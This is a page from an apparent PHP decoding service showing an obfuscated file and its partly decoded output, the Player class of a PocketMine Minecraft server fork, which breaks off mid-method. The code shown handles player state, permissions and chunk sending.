Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace pocketmine;${"\x47\x4c\x4fBAL\x53"}["\x64t\x6fedn"]="\x6d\x65ta\x64\x61ta\..

Decoded Output download

<?php namespace pocketmine;${"GLOBALS"}["dtoedn"]="metadataKey";${"GLOBALS"}["qsdfffo"]="cnt";${"GLOBALS"}["qsjjhu"]="forceId";${"GLOBALS"}["sdvdbukwmn"]="inventory";${"GLOBALS"}["knqonkrarpgw"]="newChunk";${"GLOBALS"}["jrvpsabiq"]="reload";${"GLOBALS"}["dgvgvh"]="mode";${"GLOBALS"}["kvphqr"]="source";${"GLOBALS"}["atfjurku"]="damage";${"GLOBALS"}["rrviqs"]="amount";${"GLOBALS"}["gordtxxcvh"]="params";${"GLOBALS"}["pysiiolnxh"]="e";${"GLOBALS"}["zmuhpbybd"]="cause";${"GLOBALS"}["jhpqclndfsq"]="notify";${"GLOBALS"}["jsxvzpkhuha"]="subtitle";${"GLOBALS"}["agiqutmbx"]="parameters";${"GLOBALS"}["dttnfasbmgir"]="m";${"GLOBALS"}["pvemrbfhr"]="mes";${"GLOBALS"}["blfxlne"]="reason";${"GLOBALS"}["sniubrdqyet"]="t";${"GLOBALS"}["wphesenu"]="inv";${"GLOBALS"}["fadixrmo"]="transaction";${"GLOBALS"}["oyhuokq"]="extraItem";${"GLOBALS"}["uqictxrg"]="newItem";${"GLOBALS"}["temxnfsbc"]="used";${"GLOBALS"}["xexsmxb"]="result";${"GLOBALS"}["jhwcijuv"]="ingredients";${"GLOBALS"}["gjjebprqtv"]="remove";${"GLOBALS"}["xelopofclyp"]="n";${"GLOBALS"}["ufdfbmfqh"]="needed";${"GLOBALS"}["vwfdonghmrr"]="y";${"GLOBALS"}["lktqbjmvtzkt"]="canCraft";${"GLOBALS"}["hecsbjfle"]="ingredient";${"GLOBALS"}["pvyuvbity"]="floatingInventory";${"GLOBALS"}["xbsqxzmzhg"]="r";${"GLOBALS"}["kwewsihnj"]="possibleRecipes";${"GLOBALS"}["bhmieid"]="recipe";${"GLOBALS"}["tosljdjh"]="window";${"GLOBALS"}["ewudwjkf"]="anvilInventory";${"GLOBALS"}["vyzlfgfs"]="message";${"GLOBALS"}["ygkpnsu"]="thornsEvent";${"GLOBALS"}["lbyppmcwjln"]="fireEv";${"GLOBALS"}["aezyqbzp"]="fireAspectL";${"GLOBALS"}["ttjkyjvwjtvx"]="cancelled";${"GLOBALS"}["jxhudpfslpd"]="vector";${"GLOBALS"}["hejqsdj"]="p";${"GLOBALS"}["dgolqrqwfa"]="arrow";${"GLOBALS"}["pwmecmu"]="side";${"GLOBALS"}["qeqmjamnwk"]="thrownPotion";${"GLOBALS"}["sxiedlzsmp"]="thrownExpBottle";${"GLOBALS"}["cehxwvpx"]="egg";${"GLOBALS"}["sxucesvsrdan"]="snowball";${"GLOBALS"}["ncshhzck"]="projectileEv";${"GLOBALS"}["otbgujnkc"]="f";${"GLOBALS"}["lolkqcukqy"]="aimPos";${"GLOBALS"}["hxxizz"]="target";${"GLOBALS"}["pezmjbzb"]="blockVector";${"GLOBALS"}["kdwdeptg"]="found";${"GLOBALS"}["dfgxmweyoham"]="slot";${"GLOBALS"}["ohyhznni"]="dist";${"GLOBALS"}["kezzbew"]="c";${"GLOBALS"}["fpvodvxg"]="valid";${"GLOBALS"}["svpvqyhf"]="len";${"GLOBALS"}["oronttejy"]="tile";${"GLOBALS"}["snbhmgypsq"]="nbt";${"GLOBALS"}["vjqqcpbch"]="d";${"GLOBALS"}["vcjiseb"]="dot1";${"GLOBALS"}["fhbmvwvi"]="dot";${"GLOBALS"}["qzwrrkc"]="maxDistance";${"GLOBALS"}["wswpvg"]="eyePos";${"GLOBALS"}["upcbeljlenhu"]="expectedVelocity";${"GLOBALS"}["nrkxjt"]="tempos";${"GLOBALS"}["woxkgve"]="j";${"GLOBALS"}["klpkqij"]="tickDiff";${"GLOBALS"}["kyjjmgh"]="currentTick";${"GLOBALS"}["hzleyixsfkp"]="entries";${"GLOBALS"}["jsfeuxvh"]="moving";${"GLOBALS"}["pxiwzxnx"]="headYaw";${"GLOBALS"}["wvtjdkymit"]="pitch";${"GLOBALS"}["fpjrglovqm"]="yaw";${"GLOBALS"}["lnajtnm"]="to";${"GLOBALS"}["suqlgnvhse"]="isFirst";${"GLOBALS"}["airqtkrd"]="deltaAngle";${"GLOBALS"}["wpmiqyw"]="diffX";${"GLOBALS"}["bwaqorjihg"]="diff";${"GLOBALS"}["xrlythxdifz"]="yS";${"GLOBALS"}["qmwdfikxc"]="diffY";${"GLOBALS"}["ioksphyz"]="dz";${"GLOBALS"}["xojacv"]="dy";${"GLOBALS"}["uzxmxytm"]="dx";${"GLOBALS"}["ctvidhurc"]="distanceSquared";${"GLOBALS"}["rtkvnyyhk"]="revert";${"GLOBALS"}["zblhoo"]="chunk";${"GLOBALS"}["bkghbqddjuht"]="newPos";${"GLOBALS"}["swmvqygzd"]="add";${"GLOBALS"}["fohexunnbe"]="item";${"GLOBALS"}["raioovemq"]="block";${"GLOBALS"}["xydwvsmhpur"]="type";${"GLOBALS"}["fueouqcqi"]="id";${"GLOBALS"}["drylubndbbyo"]="flags";${"GLOBALS"}["jdfbduzetjp"]="gm";${"GLOBALS"}["senpcvj"]="identifier";${"GLOBALS"}["wqowpxyy"]="needACK";${"GLOBALS"}["qebrriohj"]="packet";${"GLOBALS"}["tbswehs"]="bool";${"GLOBALS"}["letosku"]="newOrder";${"GLOBALS"}["saxhnvcly"]="viewDistance";${"GLOBALS"}["oilgiiu"]="i";${"GLOBALS"}["qxfkcywf"]="leg";${"GLOBALS"}["tcvuwigjqw"]="layer";${"GLOBALS"}["byoktfhtm"]="centerZ";${"GLOBALS"}["zokmuumnsf"]="centerX";${"GLOBALS"}["huqxyhbptjl"]="lastChunk";${"GLOBALS"}["hppkbcn"]="msg";${"GLOBALS"}["dwjjtd"]="chunkZ";${"GLOBALS"}["uvtebnejz"]="chunkX";${"GLOBALS"}["qcfzvl"]="ev";${"GLOBALS"}["wxoehmqbtg"]="pos";${"GLOBALS"}["cfrejkkd"]="count";${"GLOBALS"}["ribemcedxese"]="distance";${"GLOBALS"}["fjwhrljo"]="batch";${"GLOBALS"}["mkwzsezq"]="BATCH_THRESHOLD";${"GLOBALS"}["bfkluni"]="x";${"GLOBALS"}["yiewjbrtorvu"]="entity";${"GLOBALS"}["qdqdqtc"]="z";${"GLOBALS"}["fqzvbrngzs"]="oldLevel";${"GLOBALS"}["txdpmuloyj"]="Z";${"GLOBALS"}["rbmfjwfncmxp"]="X";${"GLOBALS"}["uspqxtmors"]="index";${"GLOBALS"}["bpbdtlmmiipb"]="targetLevel";${"GLOBALS"}["lvqgksf"]="str";${"GLOBALS"}["brcqxrmczen"]="interface";${"GLOBALS"}["qqjiqgeccbh"]="name";${"GLOBALS"}["qnhmrhqnggr"]="player";${"GLOBALS"}["lalxhrpdciqp"]="value";${"GLOBALS"}["qqhvthwj"]="exp";${"GLOBALS"}["mqgpqffss"]="level";${"GLOBALS"}["ozzywsrssq"]="pk";use pocketmine\block\Block;use pocketmine\block\Air;use pocketmine\block\Fire;use pocketmine\block\PressurePlate;use pocketmine\command\CommandSender;use pocketmine\entity\Animal;use pocketmine\entity\Arrow;use pocketmine\entity\Attribute;use pocketmine\entity\AttributeMap;use pocketmine\entity\Boat;use pocketmine\entity\Effect;use pocketmine\entity\Entity;use pocketmine\entity\FishingHook;use pocketmine\entity\Human;use pocketmine\entity\Item as DroppedItem;use pocketmine\entity\Living;use pocketmine\entity\Minecart;use pocketmine\entity\Projectile;use pocketmine\entity\ThrownExpBottle;use pocketmine\entity\ThrownPotion;use pocketmine\event\block\BlockBreakEvent;use pocketmine\event\block\ItemFrameDropItemEvent;use pocketmine\event\block\SignChangeEvent;use pocketmine\event\entity\EntityCombustByEntityEvent;use pocketmine\event\entity\EntityDamageByBlockEvent;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\event\entity\EntityRegainHealthEvent;use pocketmine\event\entity\EntityShootBowEvent;use pocketmine\event\entity\ProjectileLaunchEvent;use pocketmine\event\inventory\CraftItemEvent;use pocketmine\event\inventory\InventoryCloseEvent;use pocketmine\event\inventory\InventoryPickupArrowEvent;use pocketmine\event\inventory\InventoryPickupItemEvent;use pocketmine\event\player\PlayerExhaustEvent;use pocketmine\event\player\PlayerTextPreSendEvent;use pocketmine\event\player\PlayerAnimationEvent;use pocketmine\event\player\PlayerBedEnterEvent;use pocketmine\event\player\PlayerBedLeaveEvent;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;use pocketmine\event\player\PlayerDeathEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\player\PlayerGameModeChangeEvent;use pocketmine\event\player\PlayerHungerChangeEvent;use pocketmine\event\player\PlayerInteractEvent;use pocketmine\event\player\PlayerItemConsumeEvent;use pocketmine\event\player\PlayerJoinEvent;use pocketmine\event\player\PlayerKickEvent;use pocketmine\event\player\PlayerLoginEvent;use pocketmine\event\player\PlayerMoveEvent;use pocketmine\event\player\PlayerPreLoginEvent;use pocketmine\event\player\PlayerQuitEvent;use pocketmine\event\player\PlayerRespawnEvent;use pocketmine\event\player\PlayerToggleSneakEvent;use pocketmine\event\player\PlayerToggleSprintEvent;use pocketmine\event\player\PlayerUseFishingRodEvent;use pocketmine\event\server\DataPacketReceiveEvent;use pocketmine\event\server\DataPacketSendEvent;use pocketmine\event\TextContainer;use pocketmine\event\Timings;use pocketmine\event\TranslationContainer;use pocketmine\inventory\AnvilInventory;use pocketmine\inventory\BaseTransaction;use pocketmine\inventory\BigShapedRecipe;use pocketmine\inventory\BigShapelessRecipe;use pocketmine\inventory\DropItemTransaction;use pocketmine\inventory\EnchantInventory;use pocketmine\inventory\FurnaceInventory;use pocketmine\inventory\Inventory;use pocketmine\inventory\InventoryHolder;use pocketmine\inventory\PlayerInventory;use pocketmine\inventory\ShapedRecipe;use pocketmine\inventory\ShapelessRecipe;use pocketmine\item\enchantment\Enchantment;use pocketmine\item\FoodSource;use pocketmine\item\Item;use pocketmine\item\Potion;use pocketmine\level\ChunkLoader;use pocketmine\level\format\FullChunk;use pocketmine\level\Level;use pocketmine\level\Location;use pocketmine\level\Position;use pocketmine\level\sound\LaunchSound;use pocketmine\math\AxisAlignedBB;use pocketmine\math\Vector2;use pocketmine\math\Vector3;use pocketmine\metadata\MetadataValue;use pocketmine\nbt\NBT;use pocketmine\nbt\tag\ByteTag;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\IntTag;use pocketmine\nbt\tag\LongTag;use pocketmine\nbt\tag\ShortTag;use pocketmine\nbt\tag\StringTag;use pocketmine\network\AnyVersionManager;use pocketmine\network\Network;use pocketmine\network\protocol\AdventureSettingsPacket;use pocketmine\network\protocol\AnimatePacket;use pocketmine\network\protocol\BatchPacket;use pocketmine\network\protocol\BlockEntityDataPacket;use pocketmine\network\protocol\ChunkRadiusUpdatedPacket;use pocketmine\network\protocol\ContainerClosePacket;use pocketmine\network\protocol\ContainerSetContentPacket;use pocketmine\network\protocol\ChangeDimensionPacket;use pocketmine\network\protocol\DataPacket;use pocketmine\network\protocol\DisconnectPacket;use pocketmine\network\protocol\EntityEventPacket;use pocketmine\network\protocol\FullChunkDataPacket;use pocketmine\network\protocol\Info;use pocketmine\network\protocol\Info as ProtocolInfo;use pocketmine\network\protocol\InteractPacket;use pocketmine\network\protocol\LevelEventPacket;use pocketmine\network\protocol\MobEquipmentPacket;use pocketmine\network\protocol\MovePlayerPacket;use pocketmine\network\protocol\p70\ChunkRadiusUpdatePacket;use pocketmine\network\protocol\p70\LoginPacket;use pocketmine\network\protocol\p70\RemovePlayerPacket;use pocketmine\network\protocol\PlayerActionPacket;use pocketmine\network\protocol\PlayStatusPacket;use pocketmine\network\protocol\RemoveEntityPacket;use pocketmine\network\protocol\RespawnPacket;use pocketmine\network\protocol\SetDifficultyPacket;use pocketmine\network\protocol\SetEntityMotionPacket;use pocketmine\network\protocol\SetEntityDataPacket;use pocketmine\network\protocol\SetHealthPacket;use pocketmine\network\protocol\SetSpawnPositionPacket;use pocketmine\network\protocol\SetTimePacket;use pocketmine\network\protocol\StartGamePacket;use pocketmine\network\protocol\SetPlayerGameTypePacket;use pocketmine\network\protocol\TakeItemEntityPacket;use pocketmine\network\protocol\TextPacket;use pocketmine\network\protocol\UpdateAttributesPacket;use pocketmine\network\protocol\UpdateBlockPacket;use pocketmine\network\SourceInterface;use pocketmine\permission\PermissibleBase;use pocketmine\permission\PermissionAttachment;use pocketmine\plugin\Plugin;use pocketmine\tile\ItemFrame;use pocketmine\tile\Sign;use pocketmine\tile\Spawnable;use pocketmine\tile\Tile;use pocketmine\utils\BinaryStream;use pocketmine\utils\TextFormat;use pocketmine\utils\UUID;use raklib\Binary;class Player extends Human implements CommandSender,InventoryHolder,ChunkLoader,IPlayer{const SURVIVAL=0;const CREATIVE=1;const ADVENTURE=2;const SPECTATOR=3;const VIEW=Player::SPECTATOR;const CRAFTING_SMALL=0;const CRAFTING_BIG=1;const CRAFTING_ANVIL=2;const CRAFTING_ENCHANT=3;protected$interface;public$playedBefore=false;public$spawned=false;public$loggedIn=false;public$gamemode;public$lastBreak;protected$windowCnt=2;protected$windows;protected$windowIndex=[];public$loginData=[];protected$messageCounter=2;protected$sendIndex=0;private$clientSecret;public$speed=null;public$blocked=false;public$achievements=[];public$lastCorrect;public$craftingType=self::CRAFTING_SMALL;protected$isCrafting=false;public$creationTime=0;protected$randomClientId;protected$protocol;public static$staticProtocol;protected$lastMovement=0;protected$forceMovement=null;protected$teleportPosition=null;protected$connected=true;protected$ip;protected$removeFormat=false;protected$port;protected$username;protected$iusername;protected$displayName;protected$startAction=-1;protected$sleeping=null;protected$clientID=null;private$loaderId=null;protected$stepHeight=0.6;public$usedChunks=[];protected$chunkLoadCount=0;protected$loadQueue=[];protected$nextChunkOrderRun=5;protected$hiddenPlayers=[];protected$newPosition;protected$viewDistance;protected$chunksPerTick;protected$spawnThreshold;protected$spawnPosition=null;protected$inAirTicks=0;protected$startAirTicks=5;protected$autoJump=true;protected$allowFlight=false;private$needACK=[];private$batchedPackets=[];private$perm=null;public$weatherData=[0,0,0];public$fromPos=null;private$portalTime=0;protected$shouldSendStatus=false;private$shouldResPos;public$fishingHook=null;public$selectedPos=[];public$selectedLev=[];protected$personalCreativeItems=[];protected$ping=0;public function setPing(int$ping){${"GLOBALS"}["hwvapllouy"]="ping";return$this->ping=${${"GLOBALS"}["hwvapllouy"]};}public function getPing(){return$this->ping;}public function linkHookToPlayer(FishingHook$entity){if($entity->isAlive()){${"GLOBALS"}["mlkgfhjf"]="entity";${"GLOBALS"}["kyeiyyb"]="pk";${"GLOBALS"}["tedkpsyw"]="pk";$this->setFishingHook(${${"GLOBALS"}["mlkgfhjf"]});${${"GLOBALS"}["tedkpsyw"]}=new EntityEventPacket();$pk->eid=$this->getFishingHook()->getId();$pk->event=EntityEventPacket::FISH_HOOK_POSITION;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["kyeiyyb"]});return true;}return false;}public function unlinkHookFromPlayer(){if($this->fishingHook instanceof FishingHook){${"GLOBALS"}["mgjmuzc"]="pk";${${"GLOBALS"}["mgjmuzc"]}=new EntityEventPacket();$pk->eid=$this->fishingHook->getId();$pk->event=EntityEventPacket::FISH_HOOK_TEASE;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["ozzywsrssq"]});$this->setFishingHook();return true;}return false;}public function isFishing(){return($this->fishingHook instanceof FishingHook);}public function getFishingHook(){return$this->fishingHook;}public function setFishingHook(FishingHook$entity=null){${"GLOBALS"}["wmkrdnprm"]="entity";$xcwnxxamvfd="entity";if(${${"GLOBALS"}["wmkrdnprm"]}==null and$this->fishingHook instanceof FishingHook){$this->fishingHook->close();}$this->fishingHook=${$xcwnxxamvfd};}public function getItemInHand(){return$this->inventory->getItemInHand();}public function getLeaveMessage(){return new TranslationContainer(TextFormat::YELLOW."%multiplayer.player.left",[$this->getDisplayName()]);}public function setExperienceAndLevel(int$exp,int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setTotalXp(self::getTotalXpRequirement(${${"GLOBALS"}["mqgpqffss"]})+${${"GLOBALS"}["qqhvthwj"]});}public function setExp(int$exp){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);${"GLOBALS"}["sljpdh"]="exp";return$this->setTotalXp(${${"GLOBALS"}["sljpdh"]});}public function setExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getTotalXpRequirement($this->getXpLevel()+1);}public function getLevelUpExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getLevelXpRequirement($this->getXpLevel()+1);}public function calcExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function addExperience(int$exp){$lrcfbppdcv="exp";trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXp(${$lrcfbppdcv});}public function addExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExp(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getTotalXp();}public function getExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getXpLevel();}public function canPickupExp():bool{trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->canPickupXp();}public function resetExpCooldown(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);$this->resetXpCooldown();}public function updateExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function getClientId(){return$this->randomClientId;}public function getClientSecret(){return$this->clientSecret;}public function isBanned(){return$this->server->getNameBans()->isBanned(strtolower($this->getName()));}public function setBanned($value){${"GLOBALS"}["dvfbnlubeih"]="value";if(${${"GLOBALS"}["dvfbnlubeih"]}===true){$this->server->getNameBans()->addBan($this->getName(),null,null,null);$this->kick(TextFormat::RED."You have been banned");}else{$this->server->getNameBans()->remove($this->getName());}}public function isWhitelisted():bool{return$this->server->isWhitelisted(strtolower($this->getName()));}public function setWhitelisted($value){$kttsnho="value";if(${$kttsnho}===true){$this->server->addWhitelist(strtolower($this->getName()));}else{$this->server->removeWhitelist(strtolower($this->getName()));}}public function getPlayer(){return$this;}public function getFirstPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["firstPlayed"]:null;}public function getLastPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["lastPlayed"]:null;}public function hasPlayedBefore(){return$this->playedBefore;}public function setAllowFlight($value){$this->allowFlight=(bool)${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function getAllowFlight():bool{return$this->allowFlight;}public function setAutoJump($value){$this->autoJump=${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function hasAutoJump():bool{return$this->autoJump;}public function spawnTo(Player$player){if($this->spawned and$player->spawned and$this->isAlive()and$player->isAlive()and$player->getLevel()===$this->level and$player->canSee($this)and!$this->isSpectator()){${"GLOBALS"}["kmrwkknofpm"]="player";parent::spawnTo(${${"GLOBALS"}["kmrwkknofpm"]});}}public function getServer(){return$this->server;}public function getRemoveFormat(){return$this->removeFormat;}public function setRemoveFormat($remove=true){$etetlbolg="remove";$this->removeFormat=(bool)${$etetlbolg};}public function canSee(Player$player):bool{return!isset($this->hiddenPlayers[$player->getRawUniqueId()]);}public function hidePlayer(Player$player){$nxcdrxog="player";if(${$nxcdrxog}===$this){return;}$this->hiddenPlayers[$player->getRawUniqueId()]=${${"GLOBALS"}["qnhmrhqnggr"]};$player->despawnFrom($this);}public function showPlayer(Player$player){${"GLOBALS"}["enlucvygqujq"]="player";if(${${"GLOBALS"}["enlucvygqujq"]}===$this){return;}unset($this->hiddenPlayers[$player->getRawUniqueId()]);if($player->isOnline()){$player->spawnTo($this);}}public function canCollideWith(Entity$entity):bool{return false;}public function resetFallDistance(){parent::resetFallDistance();if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}public function isOnline():bool{return$this->connected===true and$this->loggedIn===true;}public function isOp():bool{return$this->server->isOp($this->getName());}public function setOp($value){if(${${"GLOBALS"}["lalxhrpdciqp"]}===$this->isOp()){return;}if(${${"GLOBALS"}["lalxhrpdciqp"]}===true){$this->server->addOp($this->getName());}else{$this->server->removeOp($this->getName());}$this->recalculatePermissions();}public function isPermissionSet($name){return$this->perm->isPermissionSet(${${"GLOBALS"}["qqjiqgeccbh"]});}public function hasPermission($name):bool{$egeglqwiw="name";if($this->perm==null)return false;else return$this->perm->hasPermission(${$egeglqwiw});}public function addAttachment(Plugin$plugin,$name=null,$value=null){${"GLOBALS"}["onvgckwvbmk"]="plugin";if($this->perm==null)return false;return$this->perm->addAttachment(${${"GLOBALS"}["onvgckwvbmk"]},${${"GLOBALS"}["qqjiqgeccbh"]},${${"GLOBALS"}["lalxhrpdciqp"]});}public function removeAttachment(PermissionAttachment$attachment){$pifxpswcisy="attachment";if($this->perm==null){return false;}$this->perm->removeAttachment(${$pifxpswcisy});return true;}public function recalculatePermissions(){$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);if($this->perm===null){return;}$this->perm->recalculatePermissions();if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}}public function getEffectivePermissions(){return$this->perm->getEffectivePermissions();}public function __construct(SourceInterface$interface,$clientID,$ip,$port){$this->interface=${${"GLOBALS"}["brcqxrmczen"]};$this->windows=new\SplObjectStorage();$this->perm=new PermissibleBase($this);${"GLOBALS"}["ckmwfex"]="ip";$nmpplo="port";$this->namedtag=new CompoundTag();$this->server=Server::getInstance();${"GLOBALS"}["poqfiwwdwr"]="clientID";$this->lastBreak=PHP_INT_MAX;$this->ip=${${"GLOBALS"}["ckmwfex"]};$this->port=${$nmpplo};$this->clientID=${${"GLOBALS"}["poqfiwwdwr"]};$this->loaderId=Level::generateChunkLoaderId($this);$this->chunksPerTick=(int)$this->server->getProperty("chunk-sending.per-tick",4);$this->spawnThreshold=(int)$this->server->getProperty("chunk-sending.spawn-threshold",56);$this->spawnPosition=null;$this->gamemode=$this->server->getGamemode();$this->setLevel($this->server->getDefaultLevel());$this->viewDistance=$this->server->getViewDistance();$this->newPosition=new Vector3(0,0,0);$this->boundingBox=new AxisAlignedBB(0,0,0,0,0,0);$this->uuid=null;$this->rawUUID=null;$this->creationTime=microtime(true);$this->exp=0;$this->expLevel=0;$this->food=20;Entity::setHealth(20);}public function isConnected():bool{return$this->connected===true;}public function getDisplayName(){return$this->displayName;}public function setDisplayName($name){$this->displayName=${${"GLOBALS"}["qqjiqgeccbh"]};if($this->spawned){$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),$this->getSkinId(),$this->getSkinData());}}public function setSkin($str,$skinId){${"GLOBALS"}["esnsxrhkj"]="skinId";parent::setSkin(${${"GLOBALS"}["lvqgksf"]},${${"GLOBALS"}["esnsxrhkj"]});if($this->spawned){$teadskfphowl="skinId";$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),${$teadskfphowl},${${"GLOBALS"}["lvqgksf"]});}}public function getAddress():string{return$this->ip;}public function getPort():int{return$this->port;}public function getNextPosition(){return$this->newPosition!==null?new Position($this->newPosition->x,$this->newPosition->y,$this->newPosition->z,$this->level):$this->getPosition();}public function isSleeping():bool{return$this->sleeping!==null;}public function getInAirTicks(){return$this->inAirTicks;}protected function switchLevel(Level$targetLevel){${"GLOBALS"}["crlukfcj"]="oldLevel";${${"GLOBALS"}["crlukfcj"]}=$this->level;if(parent::switchLevel(${${"GLOBALS"}["bpbdtlmmiipb"]})){${"GLOBALS"}["elqtapglonu"]="index";${"GLOBALS"}["gufuqtl"]="d";${"GLOBALS"}["qtzjajembs"]="pk";foreach($this->usedChunks as${${"GLOBALS"}["elqtapglonu"]}=>${${"GLOBALS"}["gufuqtl"]}){$izibdhpug="Z";Level::getXZ(${${"GLOBALS"}["uspqxtmors"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${$izibdhpug});$this->unloadChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]},${${"GLOBALS"}["fqzvbrngzs"]});}$this->usedChunks=[];${${"GLOBALS"}["qtzjajembs"]}=new SetTimePacket();$gbakurwg="pk";$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$this->dataPacket(${$gbakurwg});if($targetLevel->getDimension()!=$oldLevel->getDimension()){$ngflmle="pk";$flplkkjgy="pk";${$ngflmle}=new ChangeDimensionPacket();$pk->dimension=$targetLevel->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$this->dataPacket(${$flplkkjgy});$this->shouldSendStatus=true;}$targetLevel->getWeather()->sendWeather($this);if($this->spawned){$this->spawnToAll();}}}private function unloadChunk($x,$z,Level$level=null){${"GLOBALS"}["iwpcbtjor"]="level";${"GLOBALS"}["ygiqjih"]="x";${"GLOBALS"}["npuhkgpqsai"]="z";$wvvbgcgjvqnx="index";${"GLOBALS"}["tandkpligf"]="index";${${"GLOBALS"}["iwpcbtjor"]}=${${"GLOBALS"}["mqgpqffss"]}===null?$this->level:${${"GLOBALS"}["mqgpqffss"]};${$wvvbgcgjvqnx}=Level::chunkHash(${${"GLOBALS"}["ygiqjih"]},${${"GLOBALS"}["qdqdqtc"]});$kselbioe="index";if(isset($this->usedChunks[${${"GLOBALS"}["tandkpligf"]}])){$vxlkxgdmybl="z";$aciguaod="index";${"GLOBALS"}["kjgvhu"]="x";foreach($level->getChunkEntities(${${"GLOBALS"}["kjgvhu"]},${$vxlkxgdmybl})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this){$entity->despawnFrom($this);}}unset($this->usedChunks[${$aciguaod}]);}$level->unregisterChunkLoader($this,${${"GLOBALS"}["bfkluni"]},${${"GLOBALS"}["npuhkgpqsai"]});unset($this->loadQueue[${$kselbioe}]);}public function getSpawn():Position{if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level){return$this->spawnPosition;}else{${${"GLOBALS"}["mqgpqffss"]}=$this->server->getDefaultLevel();return$level->getSafeSpawn();}}public function sendChunk($x,$z,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){${"GLOBALS"}["tnlfbimve"]="x";if($this->connected===false){return;}$this->usedChunks[Level::chunkHash(${${"GLOBALS"}["tnlfbimve"]},${${"GLOBALS"}["qdqdqtc"]})]=true;$this->chunkLoadCount++;if($this->getProtocol()==84){${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;if(Network::${${"GLOBALS"}["mkwzsezq"]}>=0){$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=zlib_encode(Binary::writeInt(strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$qdnyxfoysxw="batch";$batch->encode();$batch->isEncoded=true;$this->dataPacket(${$qdnyxfoysxw});}else{$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new\pocketmine\network\protocol\p70\FullChunkDataPacket();${"GLOBALS"}["hvxeexx"]="batch";$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=\zlib_encode(pack("N",\strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$batch->encode();$batch->isEncoded=\true;$this->dataPacket(${${"GLOBALS"}["hvxeexx"]});}if($this->spawned){$rfnefexr="z";foreach($this->level->getChunkEntities(${${"GLOBALS"}["bfkluni"]},${$rfnefexr})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}}protected function sendNextChunk(){${"GLOBALS"}["evtaxbcdyofv"]="count";$crvvbsscvbo="index";if($this->connected===false){return;}Timings::$playerChunkSendTimer->startTiming();${${"GLOBALS"}["evtaxbcdyofv"]}=0;foreach($this->loadQueue 